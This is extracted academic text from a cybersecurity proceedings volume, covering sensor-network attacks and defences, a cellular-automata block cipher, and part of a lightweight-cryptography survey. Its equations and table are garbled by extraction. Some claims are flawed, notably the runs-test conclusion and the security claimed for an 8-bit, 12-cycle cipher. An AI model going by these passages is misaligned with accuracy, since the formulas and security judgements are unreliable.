• Wormhole attack: According to [13], the packets are being received by
attacker at specific position, transfers them to different positions and then
sending back them into network from that point. The main aim of attacker is
to challenge cryptography protection (Fig. 5).
Defensive measure: To counterattack a four-way handshaking message
exchange mechanism is used. Private channel can also be used for protection.
• Sybil: According to [14], self-duplicity property is attached with single node
that keeps presence of node in multiple locations. Third parties target these
multiple locations and cause problems in distributed storage access, multi-
path routing and distortion in topology (Fig. 6).

Fig. 5 Wormhole attack

54 P. Dewal et al.

Fig. 6 Sybil attack

Fig. 7 Hello flood attack

Defensive measures: To counterattack validation technique must be used.

• Hello [15] flood: Attacker sends hello packets from one node to another.
Attacker advertises cheap routes which lead to forwarding of messages to
attacker (Fig. 7).
Defensive measure: HELLO FLOOD can be counterattacked by using
profile authentication protocol.

4.5 Security Mechanisms in WSN

See Fig. 8.
Security Attacks in Wireless Sensor Networks: A Survey 55

Fig. 8 Taxonomy of security mechanisms in WSN [16–22]

5 Conclusion

There is a need for effective security mechanisms in wireless sensor networks. The
paper describes constraints, goals, obstacles, and security breaches based on dif-
ferent protocol layers, defensive measures, and security mechanism for wireless
sensor networks. The attacks in protocol layer and their measures are shown in
Table 3.

Table 3 Security threats in different protocol layers along with their defensive measures
Protocol Security breaches Defensive measures
layer
Physical Jamming Spread spectrum (FHSS)
layer Tampering Eavesdrop on the wire which is between memory chip
and microcontroller
Data link Collision Spread spectrum
layer Exhaustion Limit the mac admission control rate
Network Selective Multipath routing
layer forwarding Encryption
Acknowledgement Cryptographic methods
spoofing Four-way handshaking scheme
Black hole Identity verification protocol
Wormhole Validation technique
Hello flood
Sybil
Transport Flooding Bidirectional verification
layer Desynchronization Authentication
Application Data aggregation Encryption
layer Distortion Confidentiality protection
Clock skewing Synchronization protocols
56 P. Dewal et al.

References

1. Prasad NR, Alam M (2006) Security framework for wireless sensor networks, Springer
2. Devanagavi GD, Nalini N, Biradar RC (2014) Trusted neighbour based secured routing
scheme in wireless sensor networks using agents. Springer, New York
3. Hamid MA, Sarkar AMJ (2011) A group based security scheme in wireless sensor networks.
Springer
4. Ferng H-W, Nurhakim J, Horng S-J (2013) Key management protocol with end to end data
security and key revocation for a multi-BS wireless sensor network. Springer, New York
5. Tobarra L, Cazorla D, Cuartero F, Diaz G, Cambronero E, Model checking Wireless sensor
network security protocols: TinySec + LEAP*, Spain
6. Pazynyuk T, Li J-Z, Oreku GS (2008) Improvrd Feistal based ciphers for wireless sensor
network security. J Zhejiang Univ 9(8):1111–1117
7. Huang L, Li J, Guizani M (2014) Secure and efficient data transmission for cluster-based
wireless sensor networks. IEEE Trans Parallel Distrib Syst 25(3):750–761
8. Vollmer T, Manic M, Linda O (2014) Autonomic intelligent cyber-sensor to support
industrial control network awareness. IEEE Trans Ind Inf 10(2):1647–1658
9. Mitchell R, Chen I-R (2014) Adaptive intrusion detection of malicious unmanned air vehicles
using behavior rule specifications. IEEE Trans Syst Man Cybern Syst 44(5):593–606
10. Faisal MA, Aung Z, Williams JR, Sanchez A (2015) Data-stream-based intrusion detection
system for advanced metering infrastructure in smart grid: a feasibility study. IEEE Syst J 9
(1):31–44
11. Stavron E, Wireless sensor network, part 2: limitations. http://webhosting.devshed.com/c/a/
Web-Hosting-Articles/Wireless-Sensor-Networks-part-2-Limitations/
12. Fatema N, Brad R (2013) Attacks and counterattacks on wireless sensor networks. Int J
Ad-Hoc Sens Ubiquit Comput 4(6):1–15
13. Hu Y-C, Perrig A, Johnson DB (2006) Wormhole attacks in wireless senor networks. IEEE J
Sel Areas Commun 24(2):370–380
14. Padmavathi G, Shanmugapriya D (2009) A survey of attacks, security mechanisms and
challenges in Wireless sensor networks. Int J Comput Sci Inf Secur 4(1 & 2):1–9
15. Xiong NN, Cheng H, Hussain S, Qu Y (2013) Fault tolerant and ubiquotous computing in
sensor networks. Int J Distrib Sens Netw 2013:2. Article ID 524547
16. Christin D, Rosskopf C, Hollick M, Martucci L, Kanhere S (2012) IncogniSense: an
anonymity-preserving reputation framework for participatory sensing applications. In:
Proceedings of the IEEE international conference on pervasive computing and communica-
tions, pp. 135–143
17. Akyildiz I, Su W, Sankarasubramaniam Y, Cayirci E (2002) A survey on sensor networks.
IEEE Commun Mag 40:102–114
18. Cristofaro E, Soriente C (2013) Participatory privacy: enabling privacy in participatory
sensing. IEEE Netw 27:32–36
19. Erfani S, Karunasekera S, Leckie C, Parampalli U (2013) Privacy-preserving data aggregation
in participatory sensing networks. In: Proceedings of the 8th IEEE international conference on
intelligent sensors, sensor networks and information processing, pp. 165–170
20. Sharifnejad M, Shari M, Ghiasabadi M, Beheshti S (2007) A survey on wireless sensor
networks security. SETIT
21. Cardenas AA, Berthier R, Bobba RB, Huh JH, Jetcheva JG, Grochocki D, Sanders WH
(2014) A framework for evaluating intrusion detection architectures in advanced metering
infrastructures. IEEE Trans Smart Grid 5(2):906–915
22. Vollmer T, Manic M (2014) Cyber-physical system security with deceptive virtual hosts for
industrial control networks. IEEE Trans Industr Inf 10(2):1337–1347
Security Attacks in Wireless Sensor Networks: A Survey 57

Author Biographies

Prachi Dewal has completed her B.Tech. in Computer Science

and Engineering from Rajiv Gandhi Proudyogiki
Vishwavidyalaya (RGPV) University, Bhopal. Now, she is pur-
suing M.Tech. in Computer Science and Engineering from
CDAC, Noida affiliated to GGSIPU. Her research areas include
networked systems and algorithms, mobile networking, and
wireless sensor networks.

Gagandeep Singh Narula received his B.Tech. in Computer

Science and Engineering from Guru Tegh Bahadur Institute of
Technology (GTBIT) affiliated to Guru Gobind Singh
Indraprastha University (GGSIPU), New Delhi. Now, he is
pursuing M.Tech. in Computer Science from CDAC Noida
affiliated to GGSIPU. He has published various research papers
in various national, international journals, and conferences. His
research areas include Semantic Web, information retrieval, data
mining, cloud computing, and knowledge management. He is
also a member of IEEE Spectrum.

Vishal Jain has completed his M.Tech. (CSE) from USIT, Guru
Gobind Singh Indraprastha University, Delhi and doing Ph.D. in
Computer Science and Engineering Department, Lingaya’s
University, Faridabad. Presently, he is working as Assistant
Professor in Bharati Vidyapeeth’s Institute of Computer
Applications and Management, (BVICAM), New Delhi. His
research area includes Web technology, Semantic Web, and
information retrieval. He is also associated with CSI, ISTE.
58 P. Dewal et al.

Dr. Anupam Baliyan has completed his Ph.D. in Computer

Science & Engineering from Banasthali University and M.Tech.
in Computer Science & Engineering. His research area includes
wireless network, routing in ad hoc network, and quality of
services in delay-tolerant network. He published more than 10
research papers in various international journals and guided more
than 100 students for their M.Tech. Dissertation. Presently, he is
working as Associate Professor in Bharati Vidyapeeth’s Institute
of Computer Applications and Management, (BVICAM), New
Delhi. He is also associated with CSI and ISTE.
Symmetric Key Encryption Technique:
A Cellular Automata Based Approach

Deepika Parashar, Satyabrata Roy, Nilanjan Dey,

Vipin Jain and U. S. Rawat

Abstract A cellular automaton is one of the most engrossing fields of studies. At

the present digital world where almost every communication is being done via the
Internet, requirement of security and privacy of information is a must. For securing
big or small data over Internet, cryptographic techniques are essential. Usage of
cellular automata characteristics in the field of cryptography is still not much
explored. Here, the paper presents a symmetric key cryptographic technique of
block cipher using cellular automata (CA) rules. Proposed methodology has been
implemented in C. This cryptographic technique uses non-complemented cellular
automata rules and hybrid CA rule vector to form group cellular automata that
would be used to encrypt and decrypt the data.

Keywords Cryptographic technique
Cellular automata
Encryption

Decryption Plaintext Ciphertext

D. Parashar (&)
V. Jain

Department of Computer Science and Engineering, S.K.I.T.,
Jaipur, Rajasthan, India
e-mail: [email protected]
V. Jain
e-mail: [email protected]
S. Roy
U. S. Rawat
Department of Computer Science and Engineering,
Manipal University Jaipur, Jaipur, Rajasthan, India
e-mail: [email protected]
U. S. Rawat
e-mail: [email protected]
N. Dey
Department of Information Technology, Techno India
College of Technology, Kolkata, India

© Springer Nature Singapore Pte Ltd. 2018 59

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_7
60 D. Parashar et al.

1 Introduction

Secure transaction of data in real time is always needed for various confidential
business operations or many other private data sharing operations. For keeping these
transactions and communications safe from the intruders, cryptography is one of the
most approached techniques. There are two types of techniques that are used for
encryption and decryption—the first one is a symmetric key cryptography and the
second one is asymmetric key cryptography. Encryption may be achieved by two
types of ciphering schemes—stream cipher and block cipher as mentioned in [1].
First of all, the concept cellular automata (CA) was proposed by von Neumann
[2]. In the past two decades, many areas of applications of cellular automata
(CA) have been explored by many researchers as mentioned in [3–6]. Applications
of cellular automata are used in different fields like—physics, chemistry, mathe-
matics, biology, computer science, communication and engineering, etc. Recently,
it has been applied in BioHash code generation [7], image encryption [8] and
ECG-Hash code generation [9], watermarking [10], and authentication.
Cellular automata (CA) have some specific characteristics like—balancedness,
correlation immunity, nonlinearity, easy to implement, etc. These characteristics
satisfy the essential cryptographic properties. In this paper, a new idea is repre-
sented in which a CA-based cryptosystem is generated. This cryptosystem shows
the high quality of randomness of the patterns which have similar significances
regarding the older computational techniques of cryptography [11]. And further
enhancement of quality of randomness can be embedded with the help of using
programmable cellular automata (PCA) [11, 12]. The suggested cryptographic
technique in this paper uses a single block of 1-D PCA.
The draft of the paper is organized as follows. In the current section, discussion
is on how CA and PCA can be corresponded with important cryptographic features.
Section 2 contains some basics of cellular automata (CA) and important termi-
nologies of CA. Section 3 presents the proposed encryption and decryption algo-
rithms using PCA theory. Section 4 shows experimental results. Section 5
concludes our work and suggests the future scope of the work.

2 Cellular Automata Basics

Cellular automata are dynamical system in which space and time are discrete that
operate according to local interaction rules [2].
Here in our experiment, an example of a 1-D cellular automata (CA) is con-
sidered. It has two possible states per cell, i.e., S = (0, 1) and 3 neighborhoods [3].
Each cell in a CA is updated based on its old state and the state of its left and right
neighbors. The basic model of a CA is shown above in Fig. 1. In general, state of a
CA at any time instant t is represented as a vector as
Symmetric Key Encryption Technique … 61

st ¼ ðx1 ; x2 ; . . .; xn Þ; ð1Þ

where xi denotes the bit in the ith cell xi at time instant t and n denotes the length of
the bit string. The bit in ith cell at the “next” time instant t + 1 is given by fi. It is
known as transition function. For elementary CA transition function for next state
of each cell is denoted as


xti þ 1 ¼ f i xti1 ; xti ; xti þ 1 where i ¼ 2; 3; . . .; n  1

For a two-state and three-neighborhood CA, there are 23 = 8 distinct neigh-

borhood combinations and 28 = 256 distinct next states. Each mapping represents a
CA rule. The number of such rule is 256 as mentioned in [1]. For representing these
rules in decimal numbering, Wolfram’s decimal numbering convention is used.
According to this, each number from 0 to 255 can be represented by a 3 variable
Boolean function as shown in [6]. Example f(111) = 1, f(110) = 0, f(101) = 1, f
(100) = 0, f(011) = 1, f(010) = 0, f(001) = 1, f(000) = 0 is denoted as rule 170.
Some other examples are shown in Table 1.
The corresponding combinational logics for the rules used in proposed work are

Rule 90 : xit þ 1 ¼ xti1  xti þ 1 ð2Þ

Rule 102 : xti þ 1 ¼ xti xti þ 1 ð3Þ

Rule 150 : xti þ 1 ¼ xti1 xti xti þ 1 ð4Þ

NeighborhoodState

Current State Transition Function Next State

Fig. 1 Model of CA

Table 1 CA numbering rules for next state update

Rule name 7 6 5 4 3 2 1 0
111 110 101 100 011 010 001 000
90 0 1 0 1 1 0 1 0
102 0 1 1 0 0 1 1 0
150 1 0 0 1 0 1 1 0
62 D. Parashar et al.

2.1 Additive and Nonadditive CA

When a cellular automata (CA) rule is based on EXOR/EXNOR combinational

logic, then it is called additive CA and it depends on AND/OR combinational logic
then it is called nonadditive CA.

2.2 Null Boundary and Periodic Boundary CA

A binary cellular automata (CA) containing n cells as x1, x2, …, xn is null boundary
when the left neighbor of leftmost cell and right neighbor of rightmost cell is taken
as “0”. The CA is called periodic boundary CA when the neighbor of the extreme
cells is considered as adjacent to each other.

2.3 Programmable Cellular Automata (PCA)

Concepts of PCA were introduced into [1] and its hardware implementation was
realized into [11]. A PCA is an altered cellular automata (CA) that contains control
signals and applied combinational logic in it is indefinite. Each cell in PCA is
controlled by these control signals. With the help of these control signals, different
rules can be applied on a single 1-D structure dynamically. Figure 2 shows the
model of a PCA, which consists of three control signals. By using these signals, any
possible combination of complemented and non-complemented additive CA rules
[1] can be implemented. A PCA has high degree of flexibility, parallelism, and
complexity, which redefines cellular automata (CA) as more appropriate and robust
for cryptographic applications.

3 Proposed Encryption and Decryption Algorithms

In this paper, a symmetric key cryptographic technique using PCA has been
implemented. In this experiment, non-complemented rule 150 and rule 102 are used
to form a group cellular automata [1] of cycle length 12. These cycles of even
length are used for encryption and decryption. Block of plain text is loaded into
PCA and after six cycles, the ciphertext is generated and after next six cycles, the
ciphertext is decrypted to retrieve plain text. Permutation group representations of
Symmetric Key Encryption Technique … 63

Fig. 2 Model of a single cell of PCA [11]

CA having even cycles of even length are mentioned in [1, 13]. The procedure for
cryptography, which has been followed in the proposed work is formulated as

Ciphertext; C ¼ KðPÞ Plaintext; P ¼ KðCÞ;

where P is a block of plaintext, C is a block of ciphertext, K is a secret key which is

used in encryption and decryption.
Out of all combinations of eight-cell CA, a hybrid CA rule vector of rule 150(90)
and 102 has been selected. The combination which is used here can be represented
as 〈11110000〉, where 0 denotes rule 150 and 1 denotes rule 102 for 8 bits. The
whole procedure of proposed cryptographic technique is described through the
following algorithms.

3.1 Rule Scheduler Algorithm for PCA

Input: Rule 90, 102, and 150 are applied on each cell of PCA and selection of
these rules depends on the selection lines of multiplexer (Fig. 3).
Step 1: When selection lines S0S1 are logic “00” then rule 90 is selected.
Step 2: When selection lines S0S1 are logic “01” then rule 150 is selected.
Step 3: When selection lines S0S1 are logic “10” or “11” then rule 102 is
selected.
64 D. Parashar et al.

Fig. 3 A 4  1 multiplexer
for scheduling rules

3.2 Algorithm for Encryption

Input: String of plaintext block up to length L.

Step 1: Store binary values of plain text in an array and the array is divided into
8-bit blocks.
Step 2: Load a single 8-bit block into PCA. Apply selected rule combination to
each cell of PCA. Rule selection is performed using rule scheduler
algorithm.
Step 3: Run PCA for six clock cycles.
Step 4: Generate one byte of encrypted message as output.
Step 5: Repeat Step 2 to 4 until the whole block of plaintext string of length L is
encrypted.

3.3 Algorithm for Decryption

Input: String of ciphertext block up to length L.

Step 1: Store binary values of ciphertext in an array and divide the array into
8-bit blocks.
Step 2: Load a single 8-bit block into PCA. Apply selected rule combination to
each cell of PCA. Rule selection is again performed using rule scheduler
algorithm.
Step 3: Now run PCA for next six clock cycles.
Step 4: Generate one byte of decrypted message as output.
Step 5: Repeat Step 2 to 4 until the whole block of ciphertext string of length
L is decrypted.
Symmetric Key Encryption Technique … 65

4 Result and Analysis

The above cryptographic technique has been implemented in C. A total of 256

combinations of CA rules can be generated [9]. Out of these, one rule arrangement
is selected as the key for the proposed process of cryptography. Basic technique
used in this proposed system is, when the rule combination is applied as key on
every plaintext block, various results have been generated. After completing total
12 rounds with these results, same plaintext block is received. These 12 rounds
have been divided into two cycles of same length. First six rounds perform the
process of encryption and generated result is taken as ciphertext block. Next six
rounds perform the process of decryption and generate the same plaintext block. If
the entered plaintext and received plaintext is same, it ensures that the algorithm is
correct. Pictographic representation by using a single 8-bit block for encryption and
decryption scheme is shown in Fig. 4 and the final tested result of our proposed
technique which is implemented in C is shown in Fig. 5.

Fig. 4 Process of encryption and decryption

66 D. Parashar et al.

Fig. 5 Final tested result

4.1 Statistical Analysis

To check the quality of randomness of generated ciphertext in our experiment, the

proposed algorithm has gone through a statistical test. This test is known as runs
test [14]. In this test procedure, the value of normal variate, denoted as Z has to be
calculated and the obtained value of Z must be closer to 1.96, which means the
hypothesis of randomness of ciphertext is not rejected. Here in this experiment, the
value of normal variate Z is −2.120. So the test for randomness of “0” and “1” in
generated ciphertext is successful.

5 Conclusion and Future Scope

In this paper, 1-D cellular automata were explored in order to recognize the use of
cellular automata in the field of cryptography. A PCA-based symmetric key
cryptographic technique is proposed which uses the block cipher scheme. It can
provide a good level of security and safety of data over Internet. In future, more
cellular automata rule combinations can be explored in order to identify more
applications in various fields of technology. Furthermore, in future this work can be
used to implement the image encryption technique using MATLAB. It can also be
used in 2-D cellular automata and parallel programming, which can reduce the
Symmetric Key Encryption Technique … 67

complexity than that of the proposed scheme. This work can be used in
steganography as well. The hardware implementation of this technique is easy and
economical. This makes the technique also applicable in embedded system designs
and other computer science technologies.

References

1. Nandi S, Kar BK, Chaudhuri Pabitra Pal (1994) Theory and applications of cellular automata
in cryptography. IEEE Trans Comput 43(12):1346–1356
2. von Neumann J (1966) In: Burks AW (ed) Theory of self reproducing automata. Univ. of
Illinois Press, London
3. Kotoulas L, Tsarouchis D, Sirakoulis GC, Andreadis I (2006) 1-d cellular automata for
pseudo random number generation and its reconfigurable hardware implementation. In:
Proceedings of IEEE international symposium on circuits and systems
4. Choudhury PP, Sahoo S, Chakraborty M, Bhandari S, Pal A (2009) Investigation of the global
dynamics of cellular automata using boolean derivatives. Int J Comput Math Appl 57:1337–
1351
5. Wolfram S (2002) A new kind of science. Wolfram Media Inc. ISBN: 1-57955-008-8
6. Wolfram S (1986) Theory and applications of cellular automata. Wolfram Scientific
7. Dey N, Nandi B, Dey M, Das A, Chaudhuri SS (2013) BioHash code generation from
electrocardiogram features. In: 3rd IEEE international advance computing conference
8. Nandi S, Roy S, Dey N, Nath S, Chakraborty S, Kaara WBA (2014) 1-D group cellular
automata based image encryption technique. In: IEEE international conference on control,
instrumentation, communication and computational technologies (ICCICCT), pp 578–583
9. Nandi S, Roy S, Dansana J, Kaara WBA, Ray R, Chowdhury SR, Chakraborty S, Dey N
(2014) Int J Comput Netw Inf Secur
10. Acharjee S, Chakraborty S, Ray R, Nath S, Dey N (2014) Watermarking in motion vector for
security enhancement of medical videos. In: International conference on control, instrumen-
tation, communication and computational technologies (2014)
11. Anghelescu P (2012) Hardware implementation of programmable cellular automata
encryption algorithm. In: IEEE international conference on telecommunication and signal
processing, Prague, pp 18–21
12. Anghelescu P, Sofron E, Rîncu C, Iana V (2008) Programmable cellular automata based
encryption algorithm. Semicond Conf 2:351–354
13. Wolfram S (1985) Cryptography with cellular automata. In: Proceedings of the conference,
CRTPTO’85 on advances in cryptography. Lecture notes in computer science, vol 218,
pp 429–432
14. Ross SM (2010) Introductory statistics, 3rd edn. Academic Press, Elsevier, pp 676–681
A Comparative Study on Lightweight
Cryptography

M. U. Bokhari and Shabbir Hassan

Abstract The traditional cryptosystem only fulfills the requirements of desktop

computing epoch. Renewable lightweight cryptography algorithms are developing
to beat the constraints of traditional cryptosystem, which provide tradeoff among
cipher sort, attack immune, key size, plaintext length, and performance. The
implementation of LWC algorithms is carried out on retaining in the mind that it
will be implemented in minimal power consumption, fewer area requirement and
also enough efficiency so it turns out to be ideal for such a resource confine devices
such as RFID tags and wireless sensor node. In this, we are trying to emerge with
frequent LWC algorithms which are grouped into stream cipher, block cipher, and
hybrid model, and also reveal them, at the last a comparison is conducted on the
effective parameters.

Keywords Stream cipher
Hummingbird
ECC
WG
Sober

PUF HITAG2 Grain

1 Introduction

As the current scenario, use of smart devices such as credit card, smart card,
personal digital assistant (PDA), RFID tags, wireless sensor nodes, etc., is gaining
equipotent role in our daily life. Their use is much ubiquitous. On the other hand,
security and performance is one of the severe issues for such devices. So, we can
need considerable security as well as performance of these devices, owning mini-
mal storage space, and computational capabilities. This results in raising a research
area known as lightweight cryptography. The aim of LWC is to provide the secured
information on highly constrain relevant devices owning minimal sources. LWC

M. U. Bokhari (&)
S. Hassan

Department of Computer Science, Aligarh Muslim University, Aligarh 202002, India
e-mail: [email protected]
S. Hassan
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 69

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_8
70 M. U. Bokhari and S. Hassan

algorithms have got certain common features like they must possess low power
consumption, lesser communication cost, low area, low energy, as well as little
processing time. The implementation of LWC is done in such a way that it increases
throughput and efficiency. The ubiquitous use of RFID tags rise concern about
equipotent security in RFID system. Since low-cost tags are extremely
resource-constrained device, common security approach is no longer applicable to
them. Hence, one challenging topic is to purpose a secure lightweight cipher that is
suited for RFID tags. This paper describes a comparative study among some
well-known lightweight ciphers (Table 1).

2 Stream Cipher

Stream cipher was introduced in 1917 by “Gilbert Vernam”. Vernam studies

Electrical Engineering at Worcester Polytechnic Institute (WPI) in Massachusetts.
Stream cipher sometime refers to Vernam cipher. Stream cipher is a symmetric key
cipher where the plaintext digits are combined with a stream of pseudorandom
cipher digit is called keystream. Stream cipher encrypts bits individually with a
corresponding digit of keystream to obtain the ciphertext digit, i.e., encrypted bit.
The pseudorandom keystream is generated from a primary random integer value (is
called a seed) using digital shift register and the same seed value is served as a key
for decryption of ciphertext stream [1].

3 Lightweight Stream Cipher

A lightweight stream cipher is used in a device (smartphones, tabs, sensor net-

works) due to the limitation of resources and power consumption. The lightweight
stream ciphers are work better and in efficient manner in such situations and are
design for targeted to resource-constrained devices like RFID (Radio Frequency
Identification) smart cards, and wireless sensor nodes.

Table 1 Types of various cryptographic algorithms

Stream cipher Block cipher Hybrid cipher
BSF-128, Bokhari stream Symmetric Asymmetric Hamming Hamming
cipher bird 1 bird 2
GRAIN, RC4 DESL ECC – –
WG-7, WG-8, WG-16 – – – –
HITAG2, Sober t-16/ – – – –
family
PUF, Snow, Edon80 – – – –
A Comparative Study on Lightweight Cryptography 71

3.1 BSF-128

The BSF-128 stream cipher is designed on the basis of grain. It has designed for
128-bit secret key applications. BSF-128 consists two shift registers, one FCSR and
one LFSR of 128-bit length each. It also uses an S-Box of 8  16, i.e., it takes 8-bit
input and produced output of 16-bit. The S-Box is a combination of Skipjack and an
S-Box designed by ISRC at QUT, which has also been used in SOBER t-16 cipher.
On the basis of cryptanalysis, we assume that this cipher is secure against many
cryptanalysis attacks [2].

3.2 Grain

For the resource constrain environment, grain cryptographic stream cipher is

designed. It seems to be much pretty on the situation where there is a limitation of
gates, memory space, processing time, low power consumption, etc., there are
several stream ciphers that are based on LFSR to produce an arbitrary sequence of
numbers. There are mainly three building blocks of grain stream cipher.
• A nonlinear feedback shift registers.
• Two linear feedback shift register.
• A nonlinear filter functions for offering the ideal security.
As we know that an LFSR with feedback chosen from a primitive polynomial
can produce a well-balanced sequence of streams, whereas the NLFSR is used to
achieve nonlinearity in the ciphers. Due to the inherent weakness of LFSR’s,
several cryptanalytic attacks [3–6] were reported against grain stream cipher. The
size of LFSR, NFSR and key is 80 bits and the size of initial vector is 64 bits.
A polynomial of degree 80 is used to provide the feedback to the shift registers
LFSR and NFSR, where f ðxÞ and gðxÞ represent the feedback function. At first, the
LFSR is seeded with a 64-bit initialization vector, and NFSR is seeded with 80 bits
of key. Left 16 bits are loaded with ones in order to avoid zero shift registers. At
the end, input of NLFSR are masked with the output of LFSR to obtain a stable
condition for NLFSR. The nonlinear filtration function hðxÞ needs as an input and
the desired bits from both the feedback shift registers. Thereafter, a XOR operation
with modulo2 is performed with all of the 7 specific bits of NFSR and
then their output is further included with the filter function hðxÞ.

3.3 Ron’s Code (RC4)

RC4 designed by Ron Rivest in 1987. In the history of cryptography, RC4 has been
one of the most popular stream ciphers. Its internal state contains a permutation of
72 M. U. Bokhari and S. Hassan

bits overall possible bytes sequence ranging from 0 to 255. Its design analysis and
approach are quite different as compared to LFSR-based stream ciphers. The
internal state consists a table of N ¼ 2n , n-bit words and two n-bit pointer [7, 8].
There are some attacks on RC4 based on the relationships between the internal
states of the S-Boxes [9].

3.4 Welch-Gong (WG-7)

WG-7 [10] stream cipher is based on the primitive WG stream cipher [11]. It is
designed by Y. Luo, “Q. Chai”, “G. Gong”, and “X. Lai” in 2010. WG-7 is a
very fast stream cipher for the lightweight devices (for example smart mobile
phone, RFID tags, as well as wireless sensor node) WG-7 is design. Both WG
and WG-7 are hardware-oriented stream cipher that uses a word-oriented LFSR
and a filter function based on WG. WG works on GFð229 Þ but WG-7 in GFð27 Þ.
WG-7 uses 80-bit secret key and 81-bit IV and the LFSR is clocked 46 times, the
internal state consists of 161 bits and the security level claimed by the designer is
80-bits [4, 12].

3.4.1 Algebraic Attack on WG-7

Recently, a distinguishing attack was discovered against the WG-7 stream cipher.
Within the time complexity of Oð227 Þ, an attacker can recover both the secret key
and internal state of the cipher [13].

3.5 Welch-Gong (WG-8)

WG-8 is a lightweight discrepancy of the well-known WG stream cipher family and

was submitted to eSTREAM project. It inherits excellent randomness properties of
WG such as exact linear complexity, balance, ideal tuple distribution, period, and
ideal two-level autocorrelations. On AT mega 128 (8-bit) from Atmel and MSP430
(16 bit) from Texas low power microcontroller, WG-8 is able to achieve a
throughput of 185.5 and 95.9 kbps on both microcontroller with energy efficiency
of 458 and 125 nJ/bit respectively. As compared to other LWC implementation, the
throughput of WG-8 is about 2  15 times higher and energy consumption is about
2  220 times smaller [14].
A Comparative Study on Lightweight Cryptography 73

3.6 HITAG2

A secure version of Crypto-1 cipher has been developed by “Philips/NXP”. It is

also widely used in RFID cars lock for immobilizers and door opening systems. It
has played a great role in the functioning and security of Alfa Romeo 156 and 166
models, Opel, Numerous Nissan, Ford Galaxy and Transit, GM Corsa and Zafira,
Peugeot, and also in Volvo models. HITAG2 also seems to be playing a vital role
for the access control of buildings. It has 48-bit internal state and 48-bit secret key,
due to short length of secret key, the ciphers seems to be vulnerable to brute force
attack. It is a lightweight LFSR-based stream cipher [15].

3.6.1 Attack on HITAG2

A cryptanalysis against HITAG2 was founded [15], which easily broke HITAG2 by
a SAT solver within several hours. Besides the brute force attack, this is only a
unique cryptanalysis on HITAG2 that break the security of cipher. This attack
comprises of three phases [16].
• To extract 32 bit of secret key a black box attacks is vulnerable.
• To achieve other key bits the white-box attack seems also vulnerable.
• Brute force searches for the remaining key bits.
• Cost-optimized parallel code-breaker COPACOBANA is able to reveal the
secret key of a HITAG2 transponder in less than 2 h (103.5 min) in the worst
case [17].

3.7 SOBER

SOBER is a popular family of stream ciphers that are widely used in embedded
devices. It was first proposed by G. Rose in 1998. Their family includes several
stream ciphers: Sober t-16, sober t-32 [18], sober t-128 [19], and many more. The
synchronous stream cipher sober t-16 and sober t-32 were submitted to NESSIE
program [12] with 128-bit key and 256-bit key strength, respectively. Almost
all ciphers, which belong, to sober are depending on similar principle and virtu-
ally have equivalent model structure. Most of the sober family ciphers consist of
three basic components [19].
• Linear feedback shift registers (LFSR)
• Nonlinear function
• Stutter control.
74 M. U. Bokhari and S. Hassan

3.8 Lightweight Secure PUF

The physical unclonable function (PUF) [20] is promising solution to mitigate the
effect of physical attacks. PUF is the physical entity that generates output based on
their input and intrinsic physical properties of embedding hardware. It exploits only
those physical properties of embedding devices.

3.8.1 Drawback on PUF

Due to small hardware requirement to building a PUF, it is widely used in light-

weight applications such as RFID tags. To achieve the feature of low-cost imple-
mentation, composite PUFs are developed and are introduced in HOST2014 and
RECONFIG 2013. The building of composite PUFs is based on several small
primitives; on the basis of cryptanalysis, the introduced PUFs RECONFIG 2013
are not secure and can be penetrated [21].

4 Block Cipher (BC)

A block cipher works on two pair of algorithms, one for encryption e and other for
decryption d. A group of plain text namely P of size L [ 1 are encrypted together
by the encryption function C ¼ eðk; PÞ; C yield cipher text under the enciphering
function e with key k. A whole block of size L is encrypted with a single key k at a
time. The key k is a composition of several values ki ki1 . . .k1 k0 . After encryption,
the ciphertext C is decrypted by the set of composite key k under the correspon-
dence P ¼ dðk; CÞ. In this cipher, the ciphertext block is totally depends upon the
key k. In mathematical terminology, we can also say that

eðk; PÞ ¼ d 1 ðk; PÞ ¼ C
dðk; PÞ ¼ e1 ðk; CÞ ¼ P

By following transitivity can we have?

e1 ðk; eðk; PÞÞ ¼ P ¼ d k; d 1 ðk; PÞ


d 1 ðk; dðk; CÞÞ ¼ C ¼ e k; e1 ðk; CÞ

It is a deterministic algorithm that operates on a fixed length of data of size

L. It is widely used to implements a cryptographic protocol and the encryption
of bulk of data. Hence, block cipher encrypts bits slowly than stream cipher.
A Comparative Study on Lightweight Cryptography 75

The modern architecture of block cipher is based on the concept of iteration is

called product cipher; data are spitted into several boxes, and then permuted
with different sub-keys derived from the main key k to enhance the security and
randomization.

5 DESL

The algorithms tend to make use of inside this cipher are the DESL (build up
extension of DES) & ECC, DESL is the enhanced lightweight version of DES. The
microchip size of DESL is considerably reduced as individual S-Box is utilized
frequently for eight times. Which can make DESL compact, tough, efficient, and
prevented from linear and also differential cryptanalysis attacks. The DESL is
proficient to enciphering 64 bit of plain text in 144 clock rounds while it is working
with a frequency of 100 kHz and gaining current of 0.89 lA [22]. The DESL
structure involves mainly the building blocks controller, mem-left, mem-right, key
program, and S-Box.

6 Elliptic Curve Cryptography (ECC)

In 1985, two American mathematicians Vector Miller and Neal Koblitz proposed
the concept of elliptic curve cryptography. Their theory is completely based on
elliptic curve discrete logarithms and NP hard problem that requires a complete
exponent time. The application of ECC involves information security, personal
digital assistant (PDA), wireless communication network, wireless sensor nodes,
image encryption, smart cards, e-commerce, and also in economic-based commu-
nication protocols. ECC makes use of 162-bit public key by the assist of pick-
ing points on elliptic curves, and afford a security strength that is corresponding
to 1024-bit key in RSA [23].

6.1 Advantages of ECC Over RSA

• Smaller key size for equivalent security

• Provide higher security per bit.
• Provide higher security for same amount of computation.
76 M. U. Bokhari and S. Hassan

• For higher security (Largest ECC & RSA system broken to date are 108-bit
512-bit)
• Largest effort ever expanded in PKC challenge for solving 108-bit ECC.
Amount of work required was about 50 times of 512-bit RSA.

7 Hybrid Cipher (HC)

By providing tradeoff between speed [24], size, cost of implementation, efficiency,

in a hybrid model of hummingbird ciphers was invented by “ALEXANDRIA” and
Viswanath Ananth of Valencia, Calif in 2011. It achieves the characteristic of both
stream cipher and block cipher. Their implementation is done on keeping in mind
that they are efficiently adopted in low-cost sensible devices and also within
microcontroller environment. Hummingbird persistently opposes to most frequent
attacks on stream and blocks ciphers such as birthday attack, cube attack, side
